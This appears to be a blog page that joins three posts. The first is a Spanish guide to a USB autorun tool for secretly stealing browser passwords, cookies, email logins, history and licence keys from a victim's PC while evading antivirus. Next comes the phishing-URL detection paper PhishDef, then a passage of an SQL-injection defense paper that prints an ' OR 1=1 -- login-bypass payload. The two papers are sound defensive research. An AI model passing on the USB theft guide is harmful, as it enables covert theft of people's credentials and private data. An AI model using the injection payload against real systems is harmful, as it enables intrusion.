Roba contraseñas de una PC a traves de tu Pendrive

Como el titulo lo dice este progama lo que es robar todo tipo de informacion de la PC victima... lo que tenemos que hacer es cargar unos archivos a nuestro Pendrive o dispositivo USB y al meterlo en la PC victima automáticamente captura toda la info posible.... como por ejemplo:

• toda clase de contraseñas del navegador web hi5,myspace, e incluso de foros..
• historial de navegacion completo ( para darte cuenta del perfil de la victima y o amiga )
• cookies esto sabran mis amigos mas experimentados para lo que sirve
• los clientes de correo tales como msn , yahoo, gmail y demas
• toda la informacion de su hardware e ips
• los puertos abiertos recientemente
• licencias de los programas que tiene (incluidos windows ,adobe y demas)

1.- descargas el archivo lo descomprimes y cortas todos los archivos (excepto el txt esas son las instrucciones que les puse) luego abres tu usb y pegas los 5 quedandote asi:

tambien puedes meter otros archivos en la usb o ponerlos como ocultos para no levantar sospechas

nota: al momento de descargar y descomprimir te lo maracara como archivo peligroso es natural pues tiene el autorun pero no te preocupes no es peligroso para ti ...

2.- una vez preparado con tu llave de los secretos(tu usb) llegas a cualquier cyber o casa de amigo o novia o cualquier victima que le traigas ganas y bajo cualquier pretexto le insertas la usb esperas 10 segundos aprox o mas y la sacas ojo nunca abras ninguna de las 5 carpetas por que si no la cagaras te mandara un mensaje de deteccion el antivirus asi que mejor dejalo asi

3.- llegas tranquilamente a tu pc y revisas la carpeta de tu usb llamada 'dump' observaras una carpeta con el nombre de la pc victima y dentro de ella ordenaditos varios archivos html revisas los archivos y veras lo que tienes a tu disposicion

100 % garantizado y probado aca las pruebas...

exploremos una carpeta aunque omitire las contraseñas y parte del correo por razones obvias

Descargar

Read More

PhishDef: URL Names Say It All

Abstract—Phishing is an increasingly sophisticated method to steal personal user information using sites that pretend to be legitimate. In this paper, we take the following steps to identify phishing URLs. First, we carefully select lexical features of the URLs that are resistant to obfuscation techniques used by attackers. Second, we evaluate the classification accuracy when using only lexical features, both automatically and hand-selected, vs. when using additional features. We show that lexical features are sufficient for all practical purposes. Third, we thoroughly compare several classification algorithms, and we propose to use
an online method (AROW) that is able to overcome noisy training data. Based on the insights gained from our analysis, we propose PhishDef, a phishing detection system that uses only URL names and combines the above three elements. PhishDef is a highly accurate method (when compared to state-of-the-art approaches over real datasets), lightweight (thus appropriate for online and client-side deployment), proactive (based on online classification rather than blacklists), and resilient to training data inaccuracies (thus enabling the use of large noisy training data).

I. INTRODUCTION
Phishing is continuously evolving and becoming an increasingly sophisticated criminal tool to steal sensitive information and commit crimes on the Internet. According to the latest report from the Anti-Phishing Working Group [7], the number of commercial brands being attacked by phishing just hit a new record: 356 brands in October 2009. With major industry targets, such as, financial and payment services, phishing has
caused billions of dollars loss annually [15]. Because of the severity of the problem, the Internet community has put a significant amount of effort into defense mechanisms. Currently, two of the most popular services that protect the Internet users from visiting phishing sites are the Google Safe Browsing service [1] and the Microsoft Smart Screen service [3]. Both services provide client browsers with URL blacklists. The browsers, in turn, protect users from visiting the blacklisted URLs. The major problem of this protection model is that it is reactive: a phishing URL can only be included in the blacklist if it has already appeared somewhere else, e.g., in a spam email, or has been reported by a user. A proactive model, which can accurately identify new phishing URLs, is highly desirable to better protect the users. We argue that in order to provide proactive protection, the machine learning classification engine, which is typically used to maintain the blacklists at the server side, must be pushed to the client browser.1 This would allow new URLs to be
classified on-the-fly, at the time the users click on or type in the URLs. One of the biggest challenges of classifying URLs onthe-fly, as opposed to off-line at the server side, is the latency constraint. The longer it takes to obtain the classification result of a URL, the longer a user has to wait to load that URL, and the worse the user experience. Furthermore, since the page loading time is a decisive factor when benchmarking web browsers, classifying URLs should not introduce high latency. There are two types of features that can be used in URL classification: lexical features, i.e., features readily available from the URL names; and external features, i.e., features acquired from queries to remote servers. We refer to lexical and external features together as full features. Lexical features are based only on the URL names and are appropriate for
implementation at the client. External features rely on the availability of remote servers, introduce additional latency due to the required queries, and consume more resources of the client, e.g., battery life and bandwidth of mobile phones. Nonetheless, one would expect that relying on a more comprehensive set of features would lead to higher classification accuracy. In this paper, we address the following question:

How well can one detect phishing URLs using only lexical features compared to using full features?

To the best of our knowledge, this work is the first to extensively study this question. We show that lexical features are sufficient (i.e., if properly used, they can achieve accuracy comparable to full features), and we propose a system called PhishDef that achieves this goal.
In particular, we first introduce a way to extract lexical features that are resistant to obfuscation. We then thoroughly evaluate the classification accuracy achieved when using lexical features vs. full features with several state-of-the-art learning algorithms on real datasets. More specifically, we consider the following algorithms: batch-based Support Vector Machine (SVM), Online Perceptron (OP), Confidence-Weighted (CW), and Adaptive Regularization of Weights (AROW). We find that, using lexical features results in a modest decrease (about 1%) in classification accuracy compared to using full features; however, the overall accuracy is still high (96–98%). This suggests that using lexical features is sufficient and provides a better latency-accuracy trade-off. Moreover, our proposed obfuscation-resistant lexical features help to boost the overall classification accuracy across all the datasets. In particular, the reduction of error rate is up to 27%. We also observe that state-of-the-art online linear classification algorithms, namely, AROW and CW, are more accurate while imposing less memory and computing overhead compared to other techniques. Furthermore, when there is noise in the training data (noisy labels), AROW outperforms CW. Robustness in
a noisy environment is very important because (i) it allows for training more comprehensive classification models by working with larger datasets, which typically include noise, such as, blacklisted URLs from Google used in [18]; and (ii) it improves the system’s resilience to poisoning attacks, where attackers attempt to maliciously influence the classification models by injecting mis-labeled data.
Based on the insights gained from our analysis, we propose PhishDef, a classification engine that operates at the client side, uses only lexical features, and implements the AROW algorithm. PhishDef has the following desired properties:

• High accuracy: It has 96–97% classification accuracy, only 1% less than full features.
• Light-weight: It has low latency and imposes a modest amount of memory and computation overhead.
• Proactive approach: It can classify new URLs on-the-fly, i.e., at the time the user clicks on or enters the URL at the client side, as opposed to reactively relying on blacklists.
• Resilience to noise: It maintains high accuracy even when trained with mislabeled data: 95%–86% accuracy when there is 5%–45% noise.

II. BACKGROUND
In this work, we adopt a broad definition of phishing from Whittaker et al. [18], which defines a phishing page as “any web page that, without permission, alleges to act on behalf of a third party with the intention of confusing viewers into performing an action with which the viewer would only trust a true agent of the third party.”
In [11], Garera et al. studied the structure of phishing URLs and found four distinct categories of obfuscation techniques that phishing URLs use. In this work, we propose features directly extractable from URL strings that address these four common obfuscation techniques.
In [13], Ma et al. compared several batch-based learning algorithms for classifying malicious URLs and showed that the combination of host-based and lexical features results in the highest classification accuracy. It also hinted towards the use of lexical features but did not pursue this direction.
We extensively evaluate how both batch-based and online algorithms perform when using only lexical instead of full features. In follow-up work [14], Ma et al. compared the performance of batch-based algorithms to online algorithms when using full features and found that online algorithms, especially Confidence-Weighted (CW), outperform batch-based algorithms. Our main difference from [14] is that we focus on lexical features instead of full features. In addition, we introduce AROW, which performs as well as CW but outperforms CW when there is noise. To the best of our knowledge, AROW has not been used before in the phishing context.

III. DATASETS AND FEATURE EXTRACTION
A. Malicious and Legitimate URLs
PhishTank. PhishTank [4] is a community site where anyone can submit, verify, and share phishing URLs. We collect our set of phishing URLs during the one month period of June
2010. The set consists of 4,082 verified phishing URLs ordered by their submission time.
MalwarePatrol. MalwarePatrol [2] is a free and user contributed system where anyone can submit suspicious URLs that may carry malware, viruses, or trojans. We collect 2,001 malicious URLs during the last two weeks of June 2010. We order these URLs by their appearance time. We note that the URLs here are crafted to spread malware while the URLs from PhishTank are crafted to steal sensitive information.
Yahoo Directory. Yahoo provides a generator URL [6], which randomly generates a URL in its directory whenever someone visits it. We used this generator URL in mid June 2010 to collect 4143 random URLs.
Open Directory. DMOZ is one of the largest open directory of the Web maintained by volunteer editors. We collect 4012 random URLs from DMOZ directory in mid June 2010.
For the benign URLs, we order them by the order in which we obtain them. We also note that our methodology of collecting URL datasets is similar to recent work [13], [16].

B. External Feature Collection

We refer to features that require queries to remote servers as external features. For each URL, we acquire external features by querying two different remote servers:
WHOIS. We query the WHOIS server responsible for the top level domain of the URL for its registration information, which includes the primary domain name, the registrar, the registrant, and the registration date.
Team Cymru. We also query Team Cymru server [17] to obtain the network information and the geolocation of each URL. In particular, we obtain the network BGP prefix, the AS number, and the country code.
We note that collecting these external features incur significant latency. On average, the time it takes to collect all external features of an URL in the PhishTank dataset is 1.64 second. The latency depends on a variety of elements, such as, the load of the WHOIS and Team Cymru servers, as well as the geolocations of the WHOIS servers.
C. Feature Extraction

1) Lexical Features: Recall that lexical features can be directly extracted from the URL string. We adopt the approach by Ma et al. [13], [14] to automatically select binary lexical features. In addition, motivated by the work by Garera et al. [11], we propose a number of obfuscation-resistant lexical features. We show through empirical results that these features complement the former set of features and help to capture
additional obfuscated phishing URLs.
Automatically Selected Features. The URL string is broken down into multiple tokens. Each token constitutes a binary feature. The delimiters to obtain the tokens are ‘/’, ‘?’, ‘.’, ‘=’, ‘ ’, ‘&’, and ‘-’.

Hand-Selected (Obfuscation-Resistant) Features. In [11], Garera et al. describe four different URL obfuscation techniques that are commonly used by the attackers: (I) Obfuscating the host with an IP address, (II) Obfuscating the host with another domain, (III) Obfuscating with large host names, and (IV) Domain unknown or misspelled. Here we propose the following hand-selected lexical features to detect the identified
obfuscation techniques:

(i) Features related to the full URL. These features include the length of the URL, the number of dots in the URL, and whether a blacklisted word appears in the URL. The blacklist we use is similar to the one in [11]. The first two features address Type II obfuscation while the blacklisted words enhance the detection of Type IV obfuscation.
(ii) Features related to the domain name. These features include the length of the domain name, whether an IP address or a port number is used in the domain name, the number of tokens of the domain name, the number of hyphens used in the domain name, and the length of the longest token. These features address obfuscation Type I, Type III, and a technique related to Type III, where hyphens are used instead of dots.
(iii) Features related to the directory. These mainly address Type II obfuscation and include the length of the directory, the number of sub-directory tokens, the length of the longest sub-directory token, the maximum number of dots and other delimiters used in a sub-directory token.
(iv) Features related to the file name (page name). These features include the length of the file name and the number of dots and other delimiters (‘ ’ and ‘-’) used in the file name. These features also address Type II obfuscation, but in this case, the obfuscated host name is put in the file name.
(v) Features related to the argument part. URLs that serve pages written in server side scripting languages, such as, php and asp, often have arguments. The features in this category include the length of the argument part, the number of variables, the length of the longest variable value, and the maximum number of delimiters used in a value.
Table I illustrates how we obtain all lexical features.

2) External Features: We extract a number of binary features and one real value feature from the responses we receive from the WHOIS and Team Cymru servers. The registration date gives the real value feature indicating the number of days the site has been up. The other pieces of information that we described in Section III-B give the binary features. Finally, for all the real value features, we shift and scale them so that their values lie between 0 and 1.
D. Summary of Datasets

We prepare the data for the classification algorithms by combining the legitimate with the malicious URL datasets. In total, we have 5 pairs: Yahoo and PhishTank (Yahoo- Phish); Yahoo and MalwarePatrol (Yahoo-Malware); Open Directory and PhishTank (DMOZ-Phish); Open Directory and MalwarePatrol (DMOZ-Malware); and all good and all bad URLs (All Good - All Bad), where we combine Yahoo with
Open Directory and PhishTank with MalwarePatrol.

IV. CLASSIFICATION ALGORITHMS

Notation. Denote the features of an URL as a vector x and its label as

where 1 indicates the URL is malicious and -1 indicates otherwise. A classification algorithm receives a number of data vectors,x_i, together with their labels, y_i, and trains its model based on these labeled data. Then, given a new data vector, x, the goal of the algorithm is to predict the label, y, of this new data based on its trained model. For all algorithms, the prediction, h(x), is the sign of the inner product between w and x:

h(x) = sign(w . x)

Batched-based vs. Online. A batch-based algorithm initially trains its model based on a batch of labeled data. It then uses the trained model to predict a number of new data. After some time, it retrains its model based on a new batch of labeled data. Meanwhile, an online classification algorithm continuously retrains its model upon receiving each labeled data and makes prediction of a new data using the latest updated model. Because training a model of a batch-based algorithm requires a batch of data, batch-based algorithms
require significantly more memory than online algorithms.

A. Batch Learning


1) Support Vector Machine (SVM): The SVMs are widely known for achieving accurate classification of highdimensional data. They are also shown recently to perform well in the arena of classifying malicious URLs [13], [14].
For a tutorial on SVMs, we refer the reader to [5]. In this work, we investigate the performance of batch-based SVMs.

B. Online Learning

The online algorithms discussed below operate in rounds.In round t, an online algorithm receives x_t and predicts x_t’s label as

 

using the current model; it then receives the true label, yt, and updates its model based on (xt; yt).

1) Online Perceptron (OP): OP updates w continuously on error. In particular, w is updated if the predicted label,

disagrees with the true label, y_t, of x_t. The update is as follows:

OP suffers from a significant drawback: the update rate is fixed and does not take into account the magnitude of classification error, which leads to poor classification accuracy.

2) Confidence Weighted (CW): CW is a linear binary classification algorithm recently introduced by Dredze et al. [10]. CW captures the notion of confidence in the weight of a feature. Intuitively, the certainty of a feature weight estimate grows as the feature is observed more and more; therefore, the variance for that feature gets lower, i.e., the confidence in the weight of that feature increases. With this confidence notion,
CW addresses the drawback of OP through two mechanisms:
(i) CW updates the weights of the more confident features less aggressively; and (ii) CW does not change the weights too much but just enough to correct for a mistake.
Formally, CW maintains a Gaussian distribution over the weights with mean µ and covariance matrix ∑. The value µ_i represents what is known about the weight w_i, and the value ∑_{i, i} captures the confidence in the weight of feature i. To classify a new data x, the weight w is drawn from N(µ, Σ).
In practice, one can pick w=μ the average weight vector.
The prediction is then as usual: h(x)=sign(w.x). The update rule is as follows:

The covariance matrix Σ can be either full or diagonal. η is a configurable parameter and must be larger than 50%. We refer the reader to [8] for more details. The computational complexity of the update is linear in the number of non-zero features in x_t. The memory required is constant in the input data, i.e., the memory for the current x.
3) Adaptive Regularization of Weights (AROW): The final algorithm in this category that we examine is the AROW algorithm by Crammer et al. [9]. AROW can be considered as a modification of CW so that the classifier is more robust in the presence of label noise. For example, if ‘whitehouse.gov’
is wrongly labeled as malicious (by an adversary) and fed to CW, then CW will make changes to all features that this URL has so that in the next time slot, if it sees this URL again, it will be likely to flag this URL as malicious. CW, therefore, may drastically increase the weight of the feature “top level domain is .gov”. AROW avoids this drastic behavior by softening the formulation of CW.
Formally, Crammer et al. [9] recast the constraint (4) of CW as regularizers. The update rule is now as follows:

where

is the squaredhinge loss suffered using μ to predict the label for x_t when its true label is y_t, and λ₁ and λ₂ are configurable parameters.
Similar to CW, the running time of the update is linear in the number of non-zero features in x_t.The memory requirement is constant in terms of the input data. We refer the reader to [9] for more details. To the best of our knowledge, this is the first time that AROW is used in the phishing context.
V. EVALUATION RESULTS
We conducted four sets of experiments in order to: (i) compare batch-based to online algorithms when using just lexical features, (ii) compare lexical to full features, (iii) evaluate the effectiveness of obfuscation-resistant lexical features, and (iv) evaluate the resilience of AROW when working with noisy data. Because of the limited space, we omit the first set of experiments and refer the reader to our technical report [12]
for details.
A. Lexical Features vs. Full Features
We examine the performance of the OP, CW, and AROW algorithms on all pairs of datasets. We implement OP, CW,

Fig. 1. Performance of OP, CW, and AROW when using Lexical Features
versus when using Full Features on Yahoo-Phish
and AROW using Matlab based on the closed form update rules in [8], [9]. Fig. 1 plots the cumulative error rates of the algorithms over time for the Yahoo-Phish pair. We omit the plots for the other pairs due to lack of space; instead, in Table II, we report the cumulative error rates after the last URL for all pairs. Table II also reports the configured parameter η of each experiment involving CW and λ(=λ₁=λ₂) for each experiment involving AROW. Both λ and η are configured using cross validation. Based on the plot and the table, we make the following observations.
Consider CW and AROW, the cumulative error rates for the pair All Good - All Bad are always larger than all other pairs regardless of using lexical or full features. This suggests that one should build two separate classifiers for PhishTank and MalwarePatrol instead of building a single classifier for both. This agrees with the discussion in Section III: these are datasets with different characteristics due to their different purposes. Therefore, we subsequently focus our discussion on the other four pairs. For these pairs, CW and AROW outperform OP regardless of using lexical or full features; moreover, CW and AROW have comparable performance
when using lexical features: AROW slightly edges CW on Yahoo-Phish while CW slightly edges AROW on the other.
Finally, the gain of using full features over lexical features is only about 1% for both CW and AROW across all the pairs of interest. Using lexical features alone, AROW achieves 96– 97% of accuracy while CW achieves 96–98% of accuracy.
Summary. This set of experiments shows that using lexical features alone leads to comparable classification accuracy to full features (only 1% difference). The high accuracy and the lightweight properties of lexical features make a strong case for using lexical features alone.
B. Obfuscation-Resistant (OR) Lexical Features
Here we evaluate the effectiveness of the obfuscationresistant (OR) lexical features when using AROW. Table III reports the performance of AROW when the OR features are not used (only auto-selected features are used) and when the OR features are used. From the results, we can see that the OR features boost the classification accuracy across all pairs of datasets. The reduction of the cumulative error rate ranges from 9% (on Yahoo-Phish) up to 27% (on DMOZ-Malware.) To better understand the improvement, we look at the changes of both the number of mis-classified malicious URLs,

Fig. 2. Performance of AROW and CW on Yahoo-Phish with Various
Amount of Noise
i.e., false negatives (FNs), and the number of mis-classified benign URLs, i.e., false positives (FPs). From Table III, we can see that the improvement mainly comes from the reduction of the number of mis-classified malicious URLs. In particular, we reduce the number of FNs (ranging from 15 to 74) for a modest increase in the number of FPs (ranging from 3 to 19.)
Summary. These experiments show that the obfuscation resistant lexical features effectively improve the overall classification accuracy by catching more phishing URLs.
C. The Resilience of AROW to Noisy Data In this last set of experiments, we examine how resilient AROW is to noisy data. Here we report the results on Yahoo-Phish (the other pairs give similar results.) To create noise,
we randomly select a number of URLs and change their labels from malicious to benign or vice versa. Fig. 2 shows the cumulative error after the last URL of both AROW and CW on Yahoo-Phish with various amount of noise. We make the following observations: First, AROW consistently achieves better classification accuracy than CW; moreover, the noisier the dataset, the larger the difference between the performance of AROW and CW. Second, AROW is able to maintain very high accuracy (about 95%) when there is a modest amount of noise (from 5 to 10%) and high accuracy (above 90%) even when there is a moderate amount of noise (from 10 to 30%.)
Summary. AROW can achieve high classification accuracy, higher than CW, when working with noisy data.
D. Understanding the Performance
In addition to the above sets of experiments, we also analyzed the characteristics of phishing URLs to better understand (i) why online algorithms outperform batch-based algorithms in classifying phishing URLs, and (ii) why the advanced online algorithms, namely, AROW and CW, outperform the classical OP algorithm in this context. The key answer coming out of our analysis is that maintaining long term memory and updating models quickly are essential to achieve better classification accuracy. Due to lack of space, we omit the details and refer the reader to the technical report [12].
VI. CONCLUSION
In this work, we propose PhishDef, a system that performs proactive, on-the-fly classification of phishing URLs using only lexical features and the AROW algorithm. By using only lexical features, PhishDef reduces the page loading latency and avoids reliance on remote servers. By implementing
the AROW algorithm, PhishDef achieves high classification accuracy, even with noisy data, while at the same time having low computation and memory requirements.
REFERENCES
[1] Goole Safe Browsing API. http://code.google.com/apis/safebrowsing/.
[2] MalwarePatrol. http://www.malwarepatrol.net/.
[3] Microsoft Smart Screen. http://windows.microsoft.com/en-US/windows-vista/SmartScreen-Filter-frequently-asked-questions.
[4] PhishTank. http://www.phishtank.com/.
[5] SVM Tutorials. http://www.svms.org/tutorials/.
[6] Yahoo URL Random Generator. http://random.yahoo.com/bin/ryl.
[7] Anti Phising Working Group. Q4 2009 Report. http://antiphishing.org/.
[8] K. Crammer, M. Dredze, and F. Pereira. Exact Convex Confidence-Weighted Learning. In Proc. of NIPS ’08.
[9] K. Crammer, A. Kulesza, and M. Dredze. Adaptive Regularization Of Weight Vectors. In Proc. of NIPS ’09.
[10] M. Dredze, K. Crammer, and F. Pereira. Confidence-Weighted Linear Classification. In Proc. of ICML ’08.
[11] S. Garera, N. Provos, M. Chew, and A. D. Rubin. A Framework for Detection and Measurement of Phishing Attacks. In WORM ’07.
[12] A. Le, A. Markopoulou, and M. Faloutsos. Technical Report: “PhishDef: URL Names Say It All”. http://www.ics.uci.edu/anhml/publications.html. Also on arxiv:1009.2275, Sep 2010.
[13] J. Ma, L. K. Saul, S. Savage, and G. M. Voelker. Beyond Blacklists: Learning to Detect Malicious Web Sites from Suspicious URLs. In Proc. of SIGKDD ’09.
[14] J. Ma, L. K. Saul, S. Savage, and G. M. Voelker. Identifying Suspicious URLs: An Application of Large-Scale Online Learning. In Proc. of ICML ’09.
[15] T. McCall. Gartner survey shows phishing attacks escalated in 2007.
http://www.gartner.com/it/page.jsp?id=565125.
[16] P. Prakash, M. Kumar, R. R. Kompella, and M. Gupta. PhishNet: Predictive Blacklisting to Detect Phishing Attacks.
[17] Team Cymru. IP to ASN Mapping. http://www.team-cymru.org/Services/ip-to-asn.html.
[18] C. Whittaker, B. Ryner, and M. Nazif. Large-Scale Automatic Classification of Phishing Pages. In Proc. of NDSS ’10.

Read More

Eliminating SQL Injection Attacks - A Transparent Defense Mechanism

M. Muthuprasanna, Ke Wei, Suraj Kothari
Iowa State University, Ames, IA, USA
Email: fmuthu, weike, kotharig@iastate.edu
Abstract
The widespread adoption of web services as an instant means of information dissemination and various other transactions, has essentially made them a key component of today's Internet infrastructure. Web-based systems comprise
both of infrastructure components and of application specific code. Various organizations have started extensively deploying Intrusion Detection/Prevention Systems and Firewalls as a means of securing their vital installations.
However, very little emphasis is laid on securing the applications that run on these systems, apart from frequent updates and patching. SQL-Injection Attacks are a class of attacks that many of these systems are highly vulnerable to, and there is no known fool-proof defense against such
attacks. In this paper, we propose a technique, which combines static application code analysis with runtime validation to detect the occurrence of such attacks. The deployment of this technique eliminates the need to modify source code of application scripts, additionally allowing seamless
integration with currently-deployed systems. We provide various optimizations improving overall efficiency, and also preliminary evaluation of prototype developed.

1. Introduction
The World Wide Web has experienced remarkable growth in recent years. Businesses, individuals and governments have found that web applications can offer efficient and reliable solutions to challenges of communicating and conducting commerce in the 21^th century. Various corporate bodies whose business model completely focuses on the Web like Google, Yahoo, Amazon etc. have taken web interactions to newer heights. As many enterprise applications dealing with sensitive financial and medical data turn online, the security of such web applications has come under close scrutiny. Compromise of these applications represents a serious threat to organizations that have deployed them, and also to users that trust these systems to store confidential data. The potential downtime and damages that
could easily amount to millions of dollars have also prohibited many mission critical applications, which could greatly benefit users, from going online. Hence, it is crucial to protect these applications from targeted attacks.
However, the current state of application security leaves much to be desired. The 2002 CSI and FBI revealed that, on a yearly basis, over half of all databases experience at least one security breach and an average episode results in close to $4 million in losses [1]. A recent penetration testing study of more than 250 Web applications concluded that at least 92% of Web applications are vulnerable to some form of malicious intrusions [2]. Recent U.S. industry regulations such as Sarbanes-Oxley Act, try to enforce strict security compliance by application vendors [3] and there is an urgent need to find means of satisfying these requirements.
SQL Injection Attacks (SQLIAs) constitute an important class of attacks against web applications. SQLIAs can give attackers direct access to the database underlying an application and allow them to leak/alter confidential information [4] or to even execute any malicious code [5]. There are many examples of SQLIAs with serious consequences, and
the list of victims includes high-profile organizations, such as Travelocity, Tower Records, RIAA etc. [6]. The increasing number of web applications falling prey to these attacks is alarmingly high [7] [8] [9]. In fact, SQLIAs have been included in list of top 10 threats to web applications [10].
2. SQL Injection Attacks
In this section, we present a web application that is vulnerable to a SQLIA and explain how an attacker could exploit this vulnerability. We also discuss various other techniques that can be employed to gain illegitimate access to systems.
Consider a typical web application in which an user on a client machine can access services provided by a web server, having a database backend, like an online email account.
When the user enters a login and a password in the web form and presses the Submit button, an URL is generated (http://foo.com/home.jsp?login=guest&pass=test) and sent to the web server. The user input is interpreted by the servlet home.jsp, which then in turn builds a dynamic SQL query, submits the query to the database and uses the response from the database to generate HTML-pages that are sent back to the user. Suppose query in servlet page is of form;

SELECT * FROM user WHERE login='$login' AND pass='$pass'

If the login and password as provided by the user are used, the query to be submitted to the database takes the form;

SELECT * FROM user WHERE login='guest' AND pass='test'

A web site that uses this servlet would be vulnerable to SQLIAs. If the user were to enter [' OR 1=1 --] and [ ] instead of [guest] and [test], the query would take the form;

SELECT * FROM user WHERE login=' ' OR 1=1 --' AND pass=' '

The characters -- mark the beginning of a SQL comment, and anything beyond is ignored. The query as interpreted by the database now has a tautology and is always satisfied; hence returning information about all users. Thus
an attacker can bypass all authentication modules gaining unrestricted access to critical information on the server.
An SQL Injection Attack (SQLIA) is a subset of the unverified/unsanitized input vulnerability and occurs when an attacker attempts to change the logic, semantics or syntax of a legitimate SQL statement by inserting new SQL keywords or operators into the statement. This definition includes,
but is not limited, to attacks based on tautologies, injected additional statements, exploiting untyped parameters, stored procedures, overly descriptive error messages, alternate encodings, length limits, second-order injections and injection of "UNION SELECT", "ORDER BY" and
"HAVING" clauses. A detailed explanation of different forms of SQLIAs and ways in which they can be exploited are available in the public domain [11] [12].
The widely deployed defense today is to train the programmers and web-developers about the security implications of their code and to teach them corrective measures and good programming practices, as outlined in [13]. However, rewriting or revising the entire lot of existing legacy code is
not an easy process and is not a financially viable option for many organizations. Even this does not guarantee any foolproof defense and hence we need automated processes to detect the vulnerability and eliminate them. Various other techniques like use of stored procedures [14], prohibiting display of database server error messages and use of escape sequences (available in PHP as Magic Quotes) for sanitizing
user inputs are employed as a quick fix solution. Unfortunately,
even these security measures are inadequate against highly sophisticated attacks as outlined in [15]. Recently, better detection strategies like SQLIA signature detection have been proposed by IDS/IPS vendors [16], but their success is still limited to a small subset of the whole range of
attack mechanisms [17]. It is of even greater concern that products like Microsoft SQL Server etc. provide attackers direct access to command line shell, registry using methods like xp_cmdshell, xp_regread etc.

3. Related Work
Various SQLIA detection techniques have been proposed in literature but many of them suffer in terms of immediate usability and deployability. Many existing techniques, such as filtering, information-flow analysis, penetration testing, and defensive coding, can detect and prevent a subset of the vulnerabilities that lead to SQLIAs. Techniques that employ input validation are prone to a large number of false positives and yet there is no guarantee that there are no false negatives. Safe Query Objects [18] and SQLDOM [19] use encapsulation of database queries to provide a safe and
reliable way to access databases but they require developers to learn and use a new programming paradigm. SQLrand [20] provided a radical shift in the way this problem can be approached using query randomization [21]. However, it could be circumvented if the key used for randomization were to be exposed.
Another popular mechanism has been static analysis of the code for vulnerabilities [22]. The Java String Analysis library [23] provides us with a mechanism for generating models for Java strings and can be extended
to generate fairly accurate SQL-query models. JDBCChecker [24] [25] statically checks for the type correctness of dynamically generated SQL queries. Although these techniques are effective, they cannot capture more general forms of SQLIAs that generate syntactically and type correct
queries. The authors use automated reasoning in [26] to detect tautologies in the dynamically generated SQL queries, but other forms of SQLIAs still go undetected.
Recently, researchers have been exploring the use of static analysis in conjunction with runtime validation [27] to detect instances of SQLIAs. In [28], the authors have proposed the use of parse trees to detect malicious user input.
In [29] [30], the authors have used an automaton construction technique to defend against SQLIAs. However, these techniques still require modification of the application source code which may not be preferable to most developers and their organizations in general. Also there is an additional runtime analysis overhead in terms of execution time which cannot be avoided due to the sequential nature of the analysis techniques. Also the element of access control is not captured in such models which can, in the theoretically worst case, still allow SQLIAs to occur for certain poor implementations of the application.

Our Contribution: We propose SQLIA detection combining static & runtime analysis with following features:
1. No code modification required, simple web server patch
required (SQLIAs captured by altered data flow path).
2. Optimized runtime analysis using SQL-graphs, and SQL query validation in parallel, for faster webpage accesses.
3. SQLIAs using access control violations in the script and different character encodings also captured.

4. Proposed SQLIA Defense Mechanism
We propose a SQLIA detection/prevention technique here that addresses all types of SQLIAs, as discussed previously.
The technique works by combining static analysis with runtime validation. The basis of such a technique is that the application source code contains key information that would help us in inferring models of the expected, legitimate SQL queries generated by the application at runtime, and that a
SQLIA would necessarily violate these models. In the static analysis stage, we use program analysis techniques to represent the SQL-queries as Finite State Automata (FSA) and view them as a SQL-graph. In runtime validation stage, we check dynamically generated SQL queries with static data structures for compliance and flag them safe/unsafe.

4.1. Static Analysis
To perform Static Analysis of the application source code, we make use of the Java String Analysis library [23]. It is essentially an inter-procedural data-flow analysis that abstracts the control flow of the program and represents the semantics of string manipulation operations on string variables as a flow graph. To use this analysis, we identify certain
locations of the target program as hotspots. A hotspot is defined as a point in the application code that issues SQL queries to the underlying database. For each hotspot, we build a model that represents all the possible SQL queries that may be generated at that hotspot. In our analysis, we identify all the "execute" methods of the Statement class in
Java as hotspots. Consider a sample web application having an authentication or login script that implements 3 functions
namely, checking whether a user has been blacklisted, checking whether the user is using a weak/insecure password and then authenticating the user. Code 1 represent a small code snippet from such a sample application. We
then identify lines 10, 13 and 17 as hotspots. The Strings login and pass are user inputs and the 3 functions BlackList, WeakPass and Authentic are used to construct SQL queries.

Figure 1. String Analysis
The string analysis uses the SOOT Framework [31] [32] to parse a class file and produce inter-procedural control-flow graphs. Starting with the hotspots in a Java program, it keeps track of the String, StringBuffer and multidimensional String Arrays that get manipulated and thus construct a flow graph. The nodes in flow graph represent expressions, edges represent directed def-use relationships for possible data flow while string manipulation methods are represented as operators.

1. public class Authentic extends HttpServlet {...
2. public void StatusCheck() {...
3. Connection conn = DriverManager.getConnection(connString);
4. Statement stmt = conn.createStatement();
5. ResultSet output 1 = BlackList(stmt, login, pass);
6. ResultSet output 2 = WeakPass(stmt, login, pass);
7. ResultSet output 3 = Authentic(stmt, login, pass); ... }
8. public ResultSet BlackList (Statement stmt, String login, String pass) {
9. String sql = "SELECT * FROM user WHERE login = '" + login + "'";
10. return stmt.executeQuery(sql); }
11. public ResultSet WeakPass (Statement stmt, String login, String pass) {
12. String sql = "SELECT * FROM weak pass WHERE pass = '" + pass + "'";
13. return stmt.executeQuery(sql); }
14. public ResultSet Authentic(Statement stmt, String login, String pass) {
15. String sql = "SELECT * FROM user WHERE ";
16. sql += "login = '" + login + "' AND pass = '" + pass + "'";
17. return stmt.executeQuery(sql); }
18. }

Code 1: 3 Hotspots, 3 SQL Queries, and 2 User Inputs
In Fig. 1, nodes Trim, Replace and Concat represent string operations, while Fragment_1, Fragment_2 and SQL Statement represent variables or expressions.
4.1.1 SQL Finite State Machine
The final result of the string analysis is a Non-Deterministic Finite State Automaton (NDFA) that expresses all the possible values a particular string can assume using single character transitions in the automaton. We now create a SQL Finite State Machine (SQL-FSM) by performing a depth first
traversal of the NDFA for that hotspot and grouping characters as either SQL keywords, operators, or literal values, and creating transitions that are annotated by the literal values (tokens). Each SQL keyword is represented as is, while the user input string variables are represented as VAR, indicating that they can change at runtime. Fig. 2 shows the NDFA
and SQL-FSM for the first hotspot in the sample code. Note that in the general case, both the NDFA and SQL-FSM can have multiple non-looping branches, indicating possible execution of multiple SQL queries at a single hotspot.
4.1.2 SQL-graph Representation
We can thus construct a SQL-FSM for each of the hotspots in the program. These data structures now capture the semantics of the different SQL queries that are to be sent to the database at runtime. Any user input would be compared against this template and any change in the SQL-FSM structure would indicate a possible SQLIA.We note that running each and every query under the scanner at runtime could be an expensive process. Given that the user input would realistically consist of a few strings only but the number of SQL queries that get executed in a program could be very large, we now try to optimize number of queries that need to be
put under the scanner during runtime to ensure the validity of dynamically generated queries, using a SQL-graph.

Figure 2. NDFA and SQL-FSM for Hotspot
The SQL-graph in Fig. 3 represents 4 different SQL queries in the program as nodes within a logical boundary, and 3 different user inputs as being outside the logical boundary.
